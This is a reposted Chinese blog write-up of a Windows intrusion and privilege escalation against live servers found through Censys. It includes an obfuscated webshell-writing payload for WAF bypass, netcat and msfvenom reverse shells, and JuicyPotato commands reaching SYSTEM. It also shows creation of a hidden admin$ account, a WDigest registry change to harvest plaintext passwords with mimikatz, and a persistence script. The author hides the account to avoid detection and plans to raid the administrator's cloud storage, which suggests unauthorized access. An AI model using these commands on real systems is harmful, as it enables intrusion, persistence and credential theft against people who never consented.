记一次Windows渗透提权历程

2019-08-11 约 2233 字 预计阅读 5 分钟

声明:本文 【记一次Windows渗透提权历程】 由作者 roothex 于 2019-08-11 09:14:00 首发 先知社区 曾经 浏览数 100 次

感谢 roothex 的辛苦付出!

记一次Windows渗透提权历程

故事要从一次屁眼交易讲起,久经沙场的隔壁老王。。。咳咳不好意思念错稿了

最近上手代码审计菜得怀疑人生,因此想回到安逸区利用已知漏洞做下渗透找回自信= =

物色目标

很多站点出于安全考虑,都会在robots.txt文件中屏蔽掉搜索引擎对敏感路径页面的爬取。robots文件里的敏感路径在针对一个目标渗透时可以帮助我们识别出重要页面,但它的存在不利于自动化工具的批量采集,所以Censys、Shodan、Zoomeye的香味就显得愈发浓郁

首先在Censys中利用敏感路经找到了一堆服务器,挑了几个看起来顺眼的利用某代码执行漏洞写入WebShell

前几个站基本没遇到啥阻碍,遇到的宝塔WAF用file_put_con%00tents这种就可以绕过,有安全狗的也都是很久没更新过的免费版,随便找了个库存里的就过了:

file_put_contents(%27test.php%27,%27%3C?php%20function%20a(){%20return%20%22assert%22;%20}%20$a=a();%20$aa%20=%20array($_POST[%221%22]);%20call_user_func_array($a,$a=$aa);%20?%3E%27);

蚁剑连上WebShell后Open Terminal Here,whoami看了下基本都是nt authority\system权限,netstat -naonet view /domain也没看出有内网环境,于是交SRC草草了事

异端出现

然后本文的主角就登场了,执行whoami发现是iis apppool\xxx,只能读到WebShell所在子目录下的文件,其它盘符及Web根目录均无权访问,phpinfo中open_basedirno value,所以问题出在账户权限上

上传一个去后门网红大马,二话不说就准备MySQL提权,然后反应过来现在根本读不到数据库的配置文件,完全不知道库名和帐号密码,而且net user看到有一个单独的mysql账户,估计多半也是低权限= =

接着开始觊觎反弹提权。。。nc能连上但是没回显,php的whoami回显回来并没有卵用。。。

nc -vv -l 12388
Listening on [0.0.0.0] (family 0, port 12388)
Connection from 103.xxx.xx.xxx 55436 received!

*********************************************
 is ok
*********************************************

[Shell]> whoami
Shellresult:


[Shell]> ^C
root@:~#  nc -vv -l 12388
Listening on [0.0.0.0] (family 0, port 12388)
Connection from 103.xxx.xx.xxx 56873 received!


nc -vv -l 12388
Listening on [0.0.0.0] (family 0, port 12388)
Connection from 103.xxx.xx.xxx 56873 received!
----------------------PHP反弹连接----------------------
whoami
iis apppool\admin11.faicai1.com
^C

撒泡尿冷静了一下,继续尝试利用操作系统缺失补丁提权,systeminfo获取补丁信息并存入本地的sysinfo.txt

运行windows-exploit-suggester.py快速获取缺失补丁及对应漏洞情况

先尝试了MSF中有exploit的几个洞

# 生成并上传反弹shell
msfvenom -p windows/shell/reverse_tcp lhost=IP lport=12388 -a x86 --platform win -f exe -o a.exe

# 监听目标端口
msf5 > use exploit/multi/handler 
set lhost IP
set lport 12388
run

# WebShell中运行a.exe,捕获会话后输入
background
use exploit/windows/local/ms16_032_secondary_logon_handle_privesc
set session 1
run

等了它一分钟若有其事地执行完后告诉我失败了= =,其它几个exploit一样都是失败

[*] Exploit completed, but no session was created.

继续尝试了K8tools的iislpe也未成功

走投无路想起了刚才出现过的MS16-075: Security Update for Windows SMB Server (3164038),跟着链接走

https://github.com/foxglovesec/RottenPotato

瞟了几眼没看懂原理,照作者提示继续找到新的替代品

https://github.com/breenmachine/RottenPotatoNG

但是前不久刚重装过系统,手边并没有VS的编译环境,在项目中也没找到合适的编译好的exe,此时天已经开始亮了。。。狗命要紧先睡觉

睡完起来后终于想起了juicy-potato,按照 三好学生 大神的文章开始尝试

whoami /priv

拒绝访问。
特权信息
----------------------
特权名                        描述                 状态  
============================= ==================== ======
SeAssignPrimaryTokenPrivilege 替换一个进程级令牌   已禁用
SeIncreaseQuotaPrivilege      为进程调整内存配额   已禁用
SeAuditPrivilege              生成安全审核         已禁用
SeChangeNotifyPrivilege       绕过遍历检查         已启用
SeImpersonatePrivilege        身份验证后模拟客户端 已启用
SeCreateGlobalPrivilege       创建全局对象         已启用
SeIncreaseWorkingSetPrivilege 增加进程工作集       已禁用


JuicyPotato.exe -t t -p c:\windows\system32\cmd.exe -l 1111 -c {9B1F122C-2982-4e91-AA8B-E071D54F2A4D}

[+] authresult 0
{9B1F122C-2982-4e91-AA8B-E071D54F2A4D};NT AUTHHORITY\SYSTEM

[+] CreateProcessWithTokenW OK

看起来像是成功了的样子,但蚁剑里whoami后依然是iis,尝试用msf的shell执行也无济于事

柳暗花明

俗话说世上无难事只要肯放弃 攀登,终于在土司找到了大佬改写过的WebShell版烂土豆,上传到服务器后执行:

JuicyPotato.exe -p whoami
�ܾ����ʡ�
JuicyPotato modified by skyer v0.1 
[+] Testing {4991d34b-80a1-4291-83b6-3328366b9097} 23573
......
[+] Auth result 0
[+] CLSID:{4991d34b-80a1-4291-83b6-3328366b9097}; Privilege:NT AUTHORITY\SYSTEM
[+] Launching server JuicyPotato.exe -s 4700
[+] SeImpersonate enabled!
[+] CommandThread launched!
[+] CreateProcessWithTokenW OK
[+] Waiting command server...
[*] Trying connect server 127.0.0.1:4700...
[+] Command server connected!
=================================
nt authority\system
=================================

提权成功,但蚁剑的WebShell里好像只能传一个参数?再次抱起被遗弃的msf孤儿shell

# 将password替换为满足强度要求的密码,否则需要改组策略关闭密码强度检查
execute -f JuicyPotato.exe -p net user admin$ password
execute -f JuicyPotato.exe -p net localgroup administrators admin$ /add

为避免打草惊蛇先netstat -nao看了下,被改过的远程桌面端口处于未连接状态,管理员应该吃饭睡觉打豆豆去了,抓紧时间连上去看看

proxychains rdesktop -f 103.xxx.xx.xxx:1xxxx

redesk全屏可通过CTRL+ALT+ENTER退出

访问被丑拒,右键属性->安全->编辑->添加新用户

上传mimikatz抓管理员明文密码失败,Windows Server 2008 R2及更高版本的系统,默认配置下无法在凭据中保存明文信息,需要改注册表等待用户再次登录

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 1

在组策略中部署一个记录登录IP的bat

@echo off
date /t >>C:\WINDOWS\loginlog.log
time /t >>C:\WINDOWS\loginlog.log
netstat -an | find ":3389" | find "ESTABLISHED" >> C:\WINDOWS\loginlog.log

接着按照隐藏账户中所述方法,尽可能降低被发现的几率

此时对该目标机器的渗透也接近尾声,之后继续试着挖挖外连的一台mysql机器、抓到管理员密码后登录百度云看看能有更多收获没有

总结

其实不论是在之前的渗透还是这次的提权过程中,很多时候陷入困境时就想着放弃算了,但大多数情况下不服输地再坚持研究一会终究能找到突破口,漏洞挖一挖总是有的。文章最后首尾呼应一下,干了自己熬的鸡汤和夜,洗洗睡一觉继续学习代码审计ORZ

关键词:[‘渗透测试’, ‘渗透测试’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now